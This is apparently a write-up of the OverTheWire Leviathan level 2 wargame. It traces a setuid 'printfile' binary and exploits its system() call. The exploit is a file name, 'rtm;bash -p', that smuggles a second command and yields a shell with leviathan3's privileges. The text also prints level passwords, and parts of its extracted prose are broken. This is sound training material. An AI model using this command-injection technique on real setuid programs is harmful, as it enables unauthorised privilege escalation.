OverTheWire Leviathan – Level 2
leviathan2‘s user directory we again find an ELF 32-bit executable,
printfile, with the SETUID bit set.
leviathan2@leviathan:~$ ltrace ./printfile '/etc/leviathan_pass/leviathan2' __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 access("/etc/leviathan_pass/leviathan2", 4) = 0 snprintf("/bin/cat /etc/leviathan_pass/lev"…, 511, "/bin/cat %s", "/etc/leviathan_pass/leviathan2") = 39 geteuid() = 12002 geteuid() = 12002 setreuid(12002, 12002) = 0 system("/bin/cat /etc/leviathan_pass/lev"…ougahZi8Ta --- SIGCHLD (Child exited) --- <… system resumed> ) = 0 +++ exited (status 0) +++
Reviewing the about
ltrace, it can be determined:
./printfileaccepts a filename argument.
/bin/catis used to output the requested file.
access()checks if user
leviathan2has sufficient permissions.
- A string is prepared using
snprintf(), concatenating /bin/cat with the supplied argument.
setreuid()sets the real and effective UID of leviathan3.
system()call supplied with the above string.
Attempting to run the
printfile executable supplied with
leviathan3‘s password file we are met with an error:
leviathan2@leviathan:~$ ltrace ./printfile '/etc/leviathan_pass/leviathan3' __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 access("/etc/leviathan_pass/leviathan3", 4) = -1 puts("You cant have that file…"You cant have that file… ) = 27 +++ exited (status 1) +++
This is because, the C
access() function fails before it can even attempt the
system() call. The
access() function checks if the RUID (Real User ID), not the EUID (Effective User ID), has sufficient permissions to access the requested file. In this case, user
leviathan2 does not have the necessary permissions to access a file owned by
Going forward, we would like to exploit the way in which the
system() call is being supplied by the
snprintf() function. We know that we need to supply an initial argument of a file that at least belongs to user
Using this bit of information, we can
touch a file in a writable directory (
/tmp/), taking advantage of how the shell separates commands;
touch /tmp/'rtm;bash -p' * -p option used to retain permissions
access() permissions to the above file will get us over the first hurdle, where
system() will then execute first,
/bin/cat /tmp/rtm, followed by
bash -p using the EUID of
leviathan3 : Ahdiemoo1j